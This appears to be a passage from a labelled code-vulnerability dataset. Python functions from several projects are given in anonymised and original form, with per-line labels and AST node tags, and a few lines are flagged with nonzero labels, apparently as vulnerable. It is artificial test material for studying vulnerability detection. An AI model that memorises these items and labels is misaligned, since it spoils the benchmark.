"animal = path[7:path.rfind('/')].replace('/', '.')\n",
"module_name = f'parlai.zoo.{animal}'\n",
"print(module_name)\n",
"my_module = importlib.import_module(module_name)\n",
"return os.path.join(datapath, 'models', path[7:])\n",
"download = getattr(my_module, 'download')\n",
"download(datapath)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Condition",
"Return'",
"Condition",
"Return'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Return'",
"Assign'",
"Expr'"
] |
[
"def FUNC_6(self, VAR_33):...\n",
"return VAR_33 != 'off' and bool(VAR_33)\n"
] | [
"def run(self, val):...\n",
"return val != 'off' and bool(val)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_3(self):...\n",
"VAR_5 = [{'application': self.TEST_APP, 'stack': self.TEST_STACK,\n 'credentials': self.bindings['GCE_CREDENTIALS'], 'zone': self.TEST_ZONE,\n 'network': 'default', 'targetSize': 1, 'capacity': {'min': 1, 'max': 1,\n 'desired': 1}, 'availabilityZones': {self.TEST_REGION: [self.TEST_ZONE]\n }, 'loadBalancers': [self.__lb_name], 'instanceMetadata': {\n 'load-balancer-names': self.__lb_name}, 'cloudProvider': 'gce', 'image':\n self.bindings['TEST_GCE_IMAGE_NAME'], 'instanceType': 'f1-micro',\n 'initialNumReplicas': 1, 'type': 'createServerGroup', 'account': self.\n bindings['GCE_CREDENTIALS'], 'user': 'integration-tests'}]\n",
"VAR_6 = gcp.GceContractBuilder(self.gce_observer)\n",
"VAR_6.new_clause_builder('Instance Created', retryable_for_secs=150\n ).list_resources('instance-groups').contains_path_value('name', self.\n __server_group_name)\n",
"VAR_7 = self.agent.make_json_payload_from_kwargs(VAR_5=job, description=\n 'Server Group Test - create initial server group', application=self.\n TEST_APP)\n",
"return st.OperationContract(self.new_post_operation(title=\n 'create_instances', data=payload, path=self.__path), contract=builder.\n build())\n"
] | [
"def create_instances(self):...\n",
"job = [{'application': self.TEST_APP, 'stack': self.TEST_STACK,\n 'credentials': self.bindings['GCE_CREDENTIALS'], 'zone': self.TEST_ZONE,\n 'network': 'default', 'targetSize': 1, 'capacity': {'min': 1, 'max': 1,\n 'desired': 1}, 'availabilityZones': {self.TEST_REGION: [self.TEST_ZONE]\n }, 'loadBalancers': [self.__lb_name], 'instanceMetadata': {\n 'load-balancer-names': self.__lb_name}, 'cloudProvider': 'gce', 'image':\n self.bindings['TEST_GCE_IMAGE_NAME'], 'instanceType': 'f1-micro',\n 'initialNumReplicas': 1, 'type': 'createServerGroup', 'account': self.\n bindings['GCE_CREDENTIALS'], 'user': 'integration-tests'}]\n",
"builder = gcp.GceContractBuilder(self.gce_observer)\n",
"builder.new_clause_builder('Instance Created', retryable_for_secs=150\n ).list_resources('instance-groups').contains_path_value('name', self.\n __server_group_name)\n",
"payload = self.agent.make_json_payload_from_kwargs(job=job, description=\n 'Server Group Test - create initial server group', application=self.\n TEST_APP)\n",
"return st.OperationContract(self.new_post_operation(title=\n 'create_instances', data=payload, path=self.__path), contract=builder.\n build())\n"
] | [
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Return'"
] |
[
"@commands.command()...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_7 = discord.Embed(VAR_2='Check your 3DSs IP (CFW)', VAR_3=discord.Color\n .dark_orange())\n",
"VAR_7.description = \"\"\"1. FBI\n2. Remote Install\n3. Recieve URLs over the network\"\"\"\n",
"VAR_7.add_field(name='Check your 3DSs IP (Homebrew)', value=\n \"\"\"1. Open Homebrew Launcher\n2. Press Y\"\"\")\n",
"await self.bot.say('', VAR_7=embed)\n"
] | [
"@commands.command()...\n",
"\"\"\"docstring\"\"\"\n",
"embed = discord.Embed(title='Check your 3DSs IP (CFW)', color=discord.Color\n .dark_orange())\n",
"embed.description = \"\"\"1. FBI\n2. Remote Install\n3. Recieve URLs over the network\"\"\"\n",
"embed.add_field(name='Check your 3DSs IP (Homebrew)', value=\n \"\"\"1. Open Homebrew Launcher\n2. Press Y\"\"\")\n",
"await self.bot.say('', embed=embed)\n"
] | [
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Docstring",
"Assign'",
"Assign'",
"Expr'",
"Expr'"
] |
[
"from flask import request\n",
"from clickhouse_driver.errors import Error as ClickHouseError\n",
"from datetime import date, datetime, timedelta\n",
"from dateutil.parser import parse as dateutil_parse\n",
"from dateutil.tz import tz\n",
"from functools import wraps\n",
"from hashlib import md5\n",
"from itertools import chain, groupby\n",
"import jsonschema\n",
"import logging\n",
"import numbers\n",
"import re\n",
"import simplejson as json\n",
"import six\n",
"import _strptime\n",
"import time\n",
"from snuba import clickhouse, schemas, settings, state\n",
"from snuba.clickhouse import escape_col, ALL_COLUMNS, PROMOTED_COLS, TAG_COLUMN_MAP, COLUMN_TAG_MAP\n",
"VAR_0 = logging.getLogger('snuba.util')\n",
"VAR_1 = re.compile('^(tags|contexts)\\\\[([a-zA-Z0-9_\\\\.:-]+)\\\\]$')\n",
"VAR_2 = re.compile(\"\\\\('(\\\\d{4}-\\\\d{2}-\\\\d{2})', (\\\\d+)\\\\)\")\n",
"VAR_3 = re.compile('(Nullable\\\\()?Date\\\\b')\n",
"VAR_4 = re.compile('(Nullable\\\\()?DateTime\\\\b')\n",
"VAR_5 = re.compile(\"^'.*'$\")\n",
"def __init__(self, VAR_33):...\n",
"self.literal = VAR_33\n",
"def FUNC_0(VAR_6):...\n",
"return VAR_6 if isinstance(VAR_6, list) else [VAR_6]\n"
] | [
"from flask import request\n",
"from clickhouse_driver.errors import Error as ClickHouseError\n",
"from datetime import date, datetime, timedelta\n",
"from dateutil.parser import parse as dateutil_parse\n",
"from dateutil.tz import tz\n",
"from functools import wraps\n",
"from hashlib import md5\n",
"from itertools import chain, groupby\n",
"import jsonschema\n",
"import logging\n",
"import numbers\n",
"import re\n",
"import simplejson as json\n",
"import six\n",
"import _strptime\n",
"import time\n",
"from snuba import clickhouse, schemas, settings, state\n",
"from snuba.clickhouse import escape_col, ALL_COLUMNS, PROMOTED_COLS, TAG_COLUMN_MAP, COLUMN_TAG_MAP\n",
"logger = logging.getLogger('snuba.util')\n",
"NESTED_COL_EXPR_RE = re.compile('^(tags|contexts)\\\\[([a-zA-Z0-9_\\\\.:-]+)\\\\]$')\n",
"PART_RE = re.compile(\"\\\\('(\\\\d{4}-\\\\d{2}-\\\\d{2})', (\\\\d+)\\\\)\")\n",
"DATE_TYPE_RE = re.compile('(Nullable\\\\()?Date\\\\b')\n",
"DATETIME_TYPE_RE = re.compile('(Nullable\\\\()?DateTime\\\\b')\n",
"QUOTED_LITERAL_RE = re.compile(\"^'.*'$\")\n",
"def __init__(self, literal):...\n",
"self.literal = literal\n",
"def to_list(value):...\n",
"return value if isinstance(value, list) else [value]\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
4,
0,
0
] | [
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"FunctionDef'",
"Assign'",
"FunctionDef'",
"Return'"
] |
[
"def FUNC_3(self):...\n",
"VAR_1 = '/api/apps'\n",
"VAR_2 = self.client.post(VAR_1)\n",
"self.assertEqual(VAR_2.status_code, 201)\n",
"VAR_3 = VAR_2.data['id']\n",
"VAR_1 = '/api/apps/{app_id}/builds'.format(**locals())\n",
"VAR_4 = {'image': 'autotest/example', 'sha': 'a' * 40, 'procfile': json.\n dumps({'web': 'node server.js', 'worker': 'node worker.js'})}\n",
"VAR_2 = self.client.post(VAR_1, json.dumps(VAR_4), content_type=\n 'application/json')\n",
"self.assertEqual(VAR_2.status_code, 201)\n",
"VAR_1 = '/api/apps/{app_id}/containers'.format(**locals())\n",
"VAR_2 = self.client.get(VAR_1)\n",
"self.assertEqual(VAR_2.status_code, 200)\n",
"self.assertEqual(len(VAR_2.data['results']), 1)\n",
"VAR_1 = '/api/apps/{app_id}/scale'.format(**locals())\n",
"VAR_4 = {'web': 0}\n",
"VAR_2 = self.client.post(VAR_1, json.dumps(VAR_4), content_type=\n 'application/json')\n",
"self.assertEqual(VAR_2.status_code, 204)\n",
"chaos.START_ERROR_RATE = 0.5\n",
"VAR_1 = '/api/apps/{app_id}/scale'.format(**locals())\n",
"VAR_4 = {'web': 20}\n",
"VAR_2 = self.client.post(VAR_1, json.dumps(VAR_4), content_type=\n 'application/json')\n",
"self.assertEqual(VAR_2.status_code, 204)\n",
"VAR_1 = '/api/apps/{app_id}/containers'.format(**locals())\n",
"VAR_2 = self.client.get(VAR_1)\n",
"self.assertEqual(VAR_2.status_code, 200)\n",
"self.assertEqual(len(VAR_2.data['results']), 20)\n",
"VAR_5 = set([c['state'] for c in VAR_2.data['results']])\n",
"self.assertEqual(VAR_5, set(['crashed', 'up']))\n"
] | [
"def test_start_chaos(self):...\n",
"url = '/api/apps'\n",
"response = self.client.post(url)\n",
"self.assertEqual(response.status_code, 201)\n",
"app_id = response.data['id']\n",
"url = '/api/apps/{app_id}/builds'.format(**locals())\n",
"body = {'image': 'autotest/example', 'sha': 'a' * 40, 'procfile': json.\n dumps({'web': 'node server.js', 'worker': 'node worker.js'})}\n",
"response = self.client.post(url, json.dumps(body), content_type=\n 'application/json')\n",
"self.assertEqual(response.status_code, 201)\n",
"url = '/api/apps/{app_id}/containers'.format(**locals())\n",
"response = self.client.get(url)\n",
"self.assertEqual(response.status_code, 200)\n",
"self.assertEqual(len(response.data['results']), 1)\n",
"url = '/api/apps/{app_id}/scale'.format(**locals())\n",
"body = {'web': 0}\n",
"response = self.client.post(url, json.dumps(body), content_type=\n 'application/json')\n",
"self.assertEqual(response.status_code, 204)\n",
"chaos.START_ERROR_RATE = 0.5\n",
"url = '/api/apps/{app_id}/scale'.format(**locals())\n",
"body = {'web': 20}\n",
"response = self.client.post(url, json.dumps(body), content_type=\n 'application/json')\n",
"self.assertEqual(response.status_code, 204)\n",
"url = '/api/apps/{app_id}/containers'.format(**locals())\n",
"response = self.client.get(url)\n",
"self.assertEqual(response.status_code, 200)\n",
"self.assertEqual(len(response.data['results']), 20)\n",
"states = set([c['state'] for c in response.data['results']])\n",
"self.assertEqual(states, set(['crashed', 'up']))\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Expr'"
] |
[
"def FUNC_3(self):...\n",
"if 'expiration' in VAR_15:\n",
"if VAR_15.get('max_expiration') is None:\n",
"return False\n",
"logging.warning('max_expiration unset on session, when expiration is set.')\n",
"VAR_37 = datetime.datetime.utcnow()\n",
"return True\n",
"if VAR_37 > VAR_15['expiration']:\n",
"return True\n",
"if VAR_37 > VAR_15['max_expiration']:\n",
"return True\n"
] | [
"def is_expired(self):...\n",
"if 'expiration' in session:\n",
"if session.get('max_expiration') is None:\n",
"return False\n",
"logging.warning('max_expiration unset on session, when expiration is set.')\n",
"now = datetime.datetime.utcnow()\n",
"return True\n",
"if now > session['expiration']:\n",
"return True\n",
"if now > session['max_expiration']:\n",
"return True\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Condition",
"Return'",
"Expr'",
"Assign'",
"Return'",
"Condition",
"Return'",
"Condition",
"Return'"
] |
[
"@staticmethod...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_22 = CLASS_1.get_user_by_id(VAR_3)\n",
"if UserRole(VAR_22.role) in [UserRole.ADMIN, UserRole.PROJECT_MANAGER]:\n",
"return True\n",
"return False\n"
] | [
"@staticmethod...\n",
"\"\"\"docstring\"\"\"\n",
"user = UserService.get_user_by_id(user_id)\n",
"if UserRole(user.role) in [UserRole.ADMIN, UserRole.PROJECT_MANAGER]:\n",
"return True\n",
"return False\n"
] | [
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Docstring",
"Assign'",
"Condition",
"Return'",
"Return'"
] |
[
"@property...\n",
"if not self._is_function:\n",
"return self._file\n"
] | [
"@property...\n",
"if not self._is_function:\n",
"return self._file\n"
] | [
0,
0,
0
] | [
"Condition",
"Condition",
"Return'"
] |
[
"def FUNC_59(self):...\n",
"VAR_13 = 'string'\n",
"VAR_14 = 'string' % (os.getcwd(), VAR_13)\n",
"self.b_mgr.populate_baseline(VAR_14)\n",
"self.run_example('flask_debug.py')\n",
"self.assertEqual(1, len(self.b_mgr.baseline))\n",
"self.assertEqual({}, self.b_mgr.get_issue_list())\n"
] | [
"def test_baseline_filter(self):...\n",
"issue_text = (\n 'A Flask app appears to be run with debug=True, which exposes the Werkzeug debugger and allows the execution of arbitrary code.'\n )\n",
"json = (\n \"\"\"{\n \"results\": [\n {\n \"code\": \"...\",\n \"filename\": \"%s/examples/flask_debug.py\",\n \"issue_confidence\": \"MEDIUM\",\n \"issue_severity\": \"HIGH\",\n \"issue_text\": \"%s\",\n \"line_number\": 10,\n \"line_range\": [\n 10\n ],\n \"test_name\": \"flask_debug_true\",\n \"test_id\": \"B201\"\n }\n ]\n }\n \"\"\"\n % (os.getcwd(), issue_text))\n",
"self.b_mgr.populate_baseline(json)\n",
"self.run_example('flask_debug.py')\n",
"self.assertEqual(1, len(self.b_mgr.baseline))\n",
"self.assertEqual({}, self.b_mgr.get_issue_list())\n"
] | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Expr'"
] |
[
"def FUNC_15(self):...\n",
"build_train_set()\n",
"train_model(VAR_0=prob_thresh)\n",
"VAR_19 = 'string'\n",
"VAR_35 = pd.read_sql(VAR_19, conn)\n",
"VAR_20 = scrape(ref=test_df_dilfo)\n",
"VAR_21 = match(df_dilfo=test_df_dilfo, df_web=test_web_df, test=True, VAR_0\n =prob_thresh, version='new')\n",
"VAR_22 = int(len(VAR_21) ** 0.5)\n",
"VAR_23 = VAR_21[VAR_21.pred_match == 1].title.nunique()\n",
"self.assertTrue(VAR_23 == VAR_22, msg=\n f'qty_found_matches({qty_found_matches}) not equal qty_actual_matches({qty_actual_matches})'\n )\n",
"VAR_24 = len(VAR_21[VAR_21.pred_match == 1]) - VAR_23\n",
"self.assertTrue(VAR_24 <= round(VAR_22 * 0.25, 1), msg=\n f'found too many false positives ({false_positives}) out of total test projects ({qty_actual_matches})'\n )\n",
"VAR_25 = pd.DataFrame({'job_number': '2387', 'city': 'Ottawa', 'address':\n '2562 Del Zotto Ave., Ottawa, Ontario', 'title':\n 'DWS Building Expansion', 'owner': 'Douglas Stalker', 'contractor':\n 'GNC', 'engineer': 'Goodkey', 'receiver_email': '[email protected]',\n 'cc_email': '', 'quality': '2', 'closed': '0'}, index=range(1))\n",
"VAR_26 = pd.DataFrame({'pub_date': '2019-03-06', 'city': 'Ottawa-Carleton',\n 'address': '2562 Del Zotto Avenue, Gloucester, Ontario', 'title':\n 'Construct a 1 storey storage addition to a 2 storey office/industrial building'\n , 'owner': 'Doug Stalker, DWS Roofing', 'contractor':\n 'GNC Constructors Inc.', 'engineer': None, 'dcn_key':\n 'B0046A36-3F1C-11E9-9A87-005056AA6F02'}, index=range(1))\n",
"VAR_27, VAR_28 = match(df_dilfo=sample_dilfo, df_web=sample_web, test=True,\n version='new').iloc[0][['pred_match', 'pred_prob']]\n",
"self.assertTrue(VAR_27, msg=\n f'Project #{sample_dilfo.job_number} did not match successfully. Match probability returned was {prob}.'\n )\n",
"VAR_21 = match(df_dilfo=sample_dilfo, since='2019-03-05', until=\n '2019-03-07', test=True, version='new')\n",
"VAR_29 = VAR_21[VAR_21.contractor == 'gnc'].iloc[0].pred_prob\n",
"self.assertTrue(round(VAR_28, 2) == round(VAR_29, 2))\n",
"validate_model(VAR_0=prob_thresh, test=True)\n"
] | [
"def test_truth_table(self):...\n",
"build_train_set()\n",
"train_model(prob_thresh=prob_thresh)\n",
"match_query = \"\"\"\n SELECT \n df_dilfo.job_number,\n df_dilfo.city,\n df_dilfo.address,\n df_dilfo.title,\n df_dilfo.owner,\n df_dilfo.contractor,\n df_dilfo.engineer,\n df_dilfo.receiver_email,\n df_dilfo.cc_email,\n df_dilfo.quality,\n df_matched.dcn_key,\n df_matched.ground_truth\n FROM \n df_dilfo \n LEFT JOIN \n df_matched\n ON \n df_dilfo.job_number=df_matched.job_number\n WHERE \n df_dilfo.closed=1\n AND\n df_matched.ground_truth=1\n AND \n df_matched.validate=0\n \"\"\"\n",
"test_df_dilfo = pd.read_sql(match_query, conn)\n",
"test_web_df = scrape(ref=test_df_dilfo)\n",
"results = match(df_dilfo=test_df_dilfo, df_web=test_web_df, test=True,\n prob_thresh=prob_thresh, version='new')\n",
"qty_actual_matches = int(len(results) ** 0.5)\n",
"qty_found_matches = results[results.pred_match == 1].title.nunique()\n",
"self.assertTrue(qty_found_matches == qty_actual_matches, msg=\n f'qty_found_matches({qty_found_matches}) not equal qty_actual_matches({qty_actual_matches})'\n )\n",
"false_positives = len(results[results.pred_match == 1]) - qty_found_matches\n",
"self.assertTrue(false_positives <= round(qty_actual_matches * 0.25, 1), msg\n =\n f'found too many false positives ({false_positives}) out of total test projects ({qty_actual_matches})'\n )\n",
"sample_dilfo = pd.DataFrame({'job_number': '2387', 'city': 'Ottawa',\n 'address': '2562 Del Zotto Ave., Ottawa, Ontario', 'title':\n 'DWS Building Expansion', 'owner': 'Douglas Stalker', 'contractor':\n 'GNC', 'engineer': 'Goodkey', 'receiver_email': '[email protected]',\n 'cc_email': '', 'quality': '2', 'closed': '0'}, index=range(1))\n",
"sample_web = pd.DataFrame({'pub_date': '2019-03-06', 'city':\n 'Ottawa-Carleton', 'address':\n '2562 Del Zotto Avenue, Gloucester, Ontario', 'title':\n 'Construct a 1 storey storage addition to a 2 storey office/industrial building'\n , 'owner': 'Doug Stalker, DWS Roofing', 'contractor':\n 'GNC Constructors Inc.', 'engineer': None, 'dcn_key':\n 'B0046A36-3F1C-11E9-9A87-005056AA6F02'}, index=range(1))\n",
"is_match, prob = match(df_dilfo=sample_dilfo, df_web=sample_web, test=True,\n version='new').iloc[0][['pred_match', 'pred_prob']]\n",
"self.assertTrue(is_match, msg=\n f'Project #{sample_dilfo.job_number} did not match successfully. Match probability returned was {prob}.'\n )\n",
"results = match(df_dilfo=sample_dilfo, since='2019-03-05', until=\n '2019-03-07', test=True, version='new')\n",
"prob_from_db_cert = results[results.contractor == 'gnc'].iloc[0].pred_prob\n",
"self.assertTrue(round(prob, 2) == round(prob_from_db_cert, 2))\n",
"validate_model(prob_thresh=prob_thresh, test=True)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Expr'"
] |
[
"def FUNC_6(VAR_9):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_7, VAR_38 = VAR_1.match(VAR_9).group(1, 2)\n",
"if VAR_7 in PROMOTED_COLS:\n",
"VAR_62 = TAG_COLUMN_MAP[VAR_7].get(VAR_38, VAR_38)\n",
"return u'{col}.value[indexOf({col}.key, {tag})]'.format(**{'col': col,\n 'tag': escape_literal(tag)})\n",
"if VAR_62 in PROMOTED_COLS[VAR_7]:\n",
"return FUNC_1(VAR_62)\n"
] | [
"def tag_expr(column_name):...\n",
"\"\"\"docstring\"\"\"\n",
"col, tag = NESTED_COL_EXPR_RE.match(column_name).group(1, 2)\n",
"if col in PROMOTED_COLS:\n",
"actual_tag = TAG_COLUMN_MAP[col].get(tag, tag)\n",
"return u'{col}.value[indexOf({col}.key, {tag})]'.format(**{'col': col,\n 'tag': escape_literal(tag)})\n",
"if actual_tag in PROMOTED_COLS[col]:\n",
"return string_col(actual_tag)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"Assign'",
"Return'",
"Condition",
"Return'"
] |
[
"def FUNC_2(VAR_0, VAR_1, VAR_2, VAR_3, VAR_4):...\n",
""
] | [
"def new_expense(person, expense_date, amount, category, description):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def FUNC_2(VAR_1, VAR_2):...\n",
"for VAR_13 in VAR_2.strip('/').split('/'):\n",
"VAR_1 = VAR_1[VAR_13]\n",
"FUNC_1(VAR_1)\n"
] | [
"def scan_git_subtree(tree, path):...\n",
"for p in path.strip('/').split('/'):\n",
"tree = tree[p]\n",
"scan_git_tree(tree)\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"For",
"Assign'",
"Expr'"
] |
[
"@staticmethod...\n",
"if VAR_6.last_run_at:\n",
"return VAR_6.schedule.remaining_estimate(last_run_at=obj.last_run_at)\n",
"return VAR_6.schedule.remaining_estimate(last_run_at=datetime.now(pytz.utc))\n"
] | [
"@staticmethod...\n",
"if obj.last_run_at:\n",
"return obj.schedule.remaining_estimate(last_run_at=obj.last_run_at)\n",
"return obj.schedule.remaining_estimate(last_run_at=datetime.now(pytz.utc))\n"
] | [
0,
0,
0,
0
] | [
"Condition",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_1(VAR_0):...\n",
"for vcs_type in vcstool_clients:\n",
"if vcs_type.is_repository(VAR_0):\n",
"return None\n",
"return vcs_type(VAR_0)\n"
] | [
"def get_vcs_client(path):...\n",
"for vcs_type in vcstool_clients:\n",
"if vcs_type.is_repository(path):\n",
"return None\n",
"return vcs_type(path)\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"For",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_3(self, VAR_10, VAR_11):...\n",
"\"\"\"docstring\"\"\"\n",
"self.forward('tcp:%d tcp:%d' % (VAR_10, VAR_11))\n"
] | [
"def tcp_forward(self, host_port, device_port):...\n",
"\"\"\"docstring\"\"\"\n",
"self.forward('tcp:%d tcp:%d' % (host_port, device_port))\n"
] | [
0,
0,
2
] | [
"FunctionDef'",
"Docstring",
"Expr'"
] |
[
"def FUNC_22(self):...\n",
"self.assertRaises(NotImplementedError, self.driver.local_path, '')\n"
] | [
"def test_local_path(self):...\n",
"self.assertRaises(NotImplementedError, self.driver.local_path, '')\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"def __init__(self, VAR_5, VAR_6):...\n",
"tk.Frame.__init__(self, VAR_5)\n",
"self.controller = VAR_6\n",
"VAR_15 = tk.Frame(self)\n",
"VAR_15.pack(side='top', fill='x')\n",
"self.statusbar = VAR_15\n",
"VAR_16 = tk.Frame(self)\n",
"VAR_16.pack(side='bottom', fill='x')\n",
"self.navbar = VAR_16\n",
"VAR_17 = tk.Label(self, text='UPC', font=controller.titleFont)\n",
"VAR_17.pack(pady=10, padx=10, anchor='center')\n",
"self.UPC_Entry = tk.Entry(self)\n",
"self.UPC_Entry.pack(pady=10, padx=10, anchor='center')\n",
"VAR_18 = tk.Button(VAR_16, text='Back', font=controller.itemFont, command=\n lambda : controller.show_frame(StartPage))\n",
"VAR_18.pack(side='left', pady=10, padx=10)\n",
"VAR_19 = tk.Button(VAR_16, text='Search', font=controller.itemFont, command\n =self.search)\n",
"VAR_19.pack(side='left', pady=10, padx=10)\n",
"VAR_14 = tk.Button(VAR_16, text='Quit', font=controller.itemFont, command=\n lambda : sys.exit(0))\n",
"VAR_14.pack(side='left', pady=10, padx=10)\n"
] | [
"def __init__(self, parent, controller):...\n",
"tk.Frame.__init__(self, parent)\n",
"self.controller = controller\n",
"statusbar = tk.Frame(self)\n",
"statusbar.pack(side='top', fill='x')\n",
"self.statusbar = statusbar\n",
"navbar = tk.Frame(self)\n",
"navbar.pack(side='bottom', fill='x')\n",
"self.navbar = navbar\n",
"UPC_Label = tk.Label(self, text='UPC', font=controller.titleFont)\n",
"UPC_Label.pack(pady=10, padx=10, anchor='center')\n",
"self.UPC_Entry = tk.Entry(self)\n",
"self.UPC_Entry.pack(pady=10, padx=10, anchor='center')\n",
"backButton = tk.Button(navbar, text='Back', font=controller.itemFont,\n command=lambda : controller.show_frame(StartPage))\n",
"backButton.pack(side='left', pady=10, padx=10)\n",
"Search_Button = tk.Button(navbar, text='Search', font=controller.itemFont,\n command=self.search)\n",
"Search_Button.pack(side='left', pady=10, padx=10)\n",
"exitAppButton = tk.Button(navbar, text='Quit', font=controller.itemFont,\n command=lambda : sys.exit(0))\n",
"exitAppButton.pack(side='left', pady=10, padx=10)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Expr'",
"Assign'",
"Expr'",
"Assign'",
"Expr'",
"Assign'",
"Expr'"
] |
[
"def FUNC_22(self, VAR_25):...\n",
"\"\"\"docstring\"\"\"\n",
"if __debug__:\n",
"self.__log_run(VAR_25)\n",
"VAR_25.prepare()\n",
"VAR_26 = TraversalPath()\n",
"if self.__root_is_sequence:\n",
"if not self._tgt_prx is None:\n",
"self.traverse_one(VAR_26, None, self._src_prx, self._tgt_prx, VAR_25)\n",
"VAR_54 = iter(self._tgt_prx)\n",
"VAR_54 = None\n",
"VAR_25.finalize()\n",
"if not self._src_prx is None:\n",
"VAR_55 = iter(self._src_prx)\n",
"VAR_55 = None\n",
"self.traverse_many(VAR_26, None, VAR_55, VAR_54, VAR_25)\n"
] | [
"def run(self, visitor):...\n",
"\"\"\"docstring\"\"\"\n",
"if __debug__:\n",
"self.__log_run(visitor)\n",
"visitor.prepare()\n",
"path = TraversalPath()\n",
"if self.__root_is_sequence:\n",
"if not self._tgt_prx is None:\n",
"self.traverse_one(path, None, self._src_prx, self._tgt_prx, visitor)\n",
"tgts = iter(self._tgt_prx)\n",
"tgts = None\n",
"visitor.finalize()\n",
"if not self._src_prx is None:\n",
"srcs = iter(self._src_prx)\n",
"srcs = None\n",
"self.traverse_many(path, None, srcs, tgts, visitor)\n"
] | [
0,
0,
0,
0,
0,
1,
0,
0,
1,
0,
0,
0,
0,
0,
0,
1
] | [
"FunctionDef'",
"Docstring",
"Condition",
"Expr'",
"Expr'",
"Assign'",
"Condition",
"Condition",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Condition",
"Assign'",
"Assign'",
"Expr'"
] |
[
"def FUNC_7(self, VAR_17=None):...\n",
"if not VAR_17:\n",
"VAR_17 = self._error\n",
"if VAR_17:\n",
"VAR_101.errors.add(VAR_17)\n"
] | [
"def error(self, e=None):...\n",
"if not e:\n",
"e = self._error\n",
"if e:\n",
"c.errors.add(e)\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Assign'",
"Condition",
"Expr'"
] |
[
"def FUNC_12(self):...\n",
"VAR_4 = {url_helper.swarm_constants.COUNT_KEY: 1}\n",
"self._mox.ReplayAll()\n",
"self.assertEqual(url_helper.UrlOpen('url', VAR_4=data), None)\n",
"self._mox.VerifyAll()\n"
] | [
"def testCountKeyInData(self):...\n",
"data = {url_helper.swarm_constants.COUNT_KEY: 1}\n",
"self._mox.ReplayAll()\n",
"self.assertEqual(url_helper.UrlOpen('url', data=data), None)\n",
"self._mox.VerifyAll()\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Expr'",
"Expr'",
"Expr'"
] |
[
"def FUNC_1(VAR_1):...\n",
"for VAR_5 in VAR_1.traverse():\n",
"if VAR_5.path.startswith('LICENSES'):\n",
"if VAR_5.path.find('license-rules.rst') >= 0:\n",
"if not os.path.isfile(VAR_5.path):\n",
"VAR_22.parse_lines(VAR_15, VAR_19.maxlines, VAR_5.path)\n"
] | [
"def scan_git_tree(tree):...\n",
"for el in tree.traverse():\n",
"if el.path.startswith('LICENSES'):\n",
"if el.path.find('license-rules.rst') >= 0:\n",
"if not os.path.isfile(el.path):\n",
"parser.parse_lines(fd, args.maxlines, el.path)\n"
] | [
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"For",
"Condition",
"Condition",
"Condition",
"Expr'"
] |
[
"import pytest\n",
"from sanic import Sanic\n",
"import random\n",
"import json\n",
"from jogging.main import config_app\n",
"from jogging import config\n",
"from jogging.Models.user import User\n",
"VAR_0 = None\n",
"VAR_1 = None\n",
"VAR_2 = None\n",
"@pytest.yield_fixture...\n",
"config.app = Sanic('test_sanic_app')\n",
"config_app()\n",
"yield config.app\n",
"@pytest.fixture...\n",
"while VAR_0 is None:\n",
"VAR_12 = random.randint(1, 10000)\n",
"return VAR_3.run_until_complete(VAR_5(VAR_4))\n",
"VAR_0 = f'amichay.oren+{VAR_12}@gmail.com'\n",
